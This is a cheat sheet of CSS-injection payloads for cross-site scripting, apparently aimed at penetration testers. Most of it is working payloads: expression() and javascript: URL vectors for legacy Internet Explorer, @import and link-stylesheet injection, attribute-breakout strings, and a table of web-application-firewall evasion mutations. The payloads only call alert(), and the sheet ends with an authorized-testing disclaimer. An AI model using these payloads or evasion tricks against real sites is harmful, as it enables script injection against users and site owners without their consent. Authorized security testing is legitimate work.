CSS Injection Cheat Sheet
CSS injection becomes code execution in specific browser/parser configurations, most commonly legacy IE and situations where CSS is interpreted as HTML.
Attack surfaces
- Unsanitized
styleattributes or<style>blocks - CSS-in-JS templates that echo user data
- Old
background-image/@importURL handling (IE) - Loose
style-src 'unsafe-inline'CSP directives
CSS expression() — IE legacy
IE 5–8 evaluated JavaScript inside CSS expression():
<div style="width:expression(alert(document.domain))">
<img src="x" style="xss:expression(alert(1))" />
<xss style="xss:expression(alert(1))"></xss>
</div>
Modern browsers do not support expression(). Use these when targeting IE11 compatibility modes or old intranet apps.
javascript: in CSS URLs — IE
IE honored javascript: pseudo-protocol in CSS URL values:
<!-- background-image -->
<div style="background-image:url(javascript:alert(1))">
<style>
body {
background: url("javascript:alert(1)");
}
</style>
<!-- class via stylesheet -->
<style>
.x {
background-image: url("javascript:alert(1)");
}
</style>
<a class="x"></a>
<!-- list-style-image -->
<style>
li {
list-style-image: url("javascript:alert(1)");
}
</style>
<ul>
<li>item</li>
</ul>
</div>
@import injection
<style>
@import "javascript:alert(1)";
</style>
<!-- Backslash obfuscation (IE parser confusion) -->
<style>
@im \port'\ja\vasc\ript:alert(1)�';
</style>
LINK stylesheet
<link rel="stylesheet" href="javascript:alert(1)" />
Attribute context injection
When injection lands inside a style attribute value:
" style="xss:expression(alert(1))" x=" "
style="background:url('javascript:alert(1)') x="
Close the existing attribute, inject your style=, and neutralize the trailing quote.
Mutation strategies
| WAF block | Try |
|---|---|
expression( | Split with comments: exp/**/ression( |
javascript: | js-ctrl-chars mutation → jav	ascript: |
javascript: | comment-split-protocol → javas<!---->cript: |
alert | alert / al\x65rt / String.fromCharCode(97,...) |
url( | Backslash-break: url\28 javascript:alert(1)\29 |
CSP considerations
style-src 'unsafe-inline'is required for inline injection- External stylesheets are blocked by
style-srcunless the domain is allowlisted javascript:in CSS is a dead vector under any modern CSP (script-srccovers it)
Authorized testing only
These vectors are provided for penetration testing on systems you own or have explicit written authorization to test.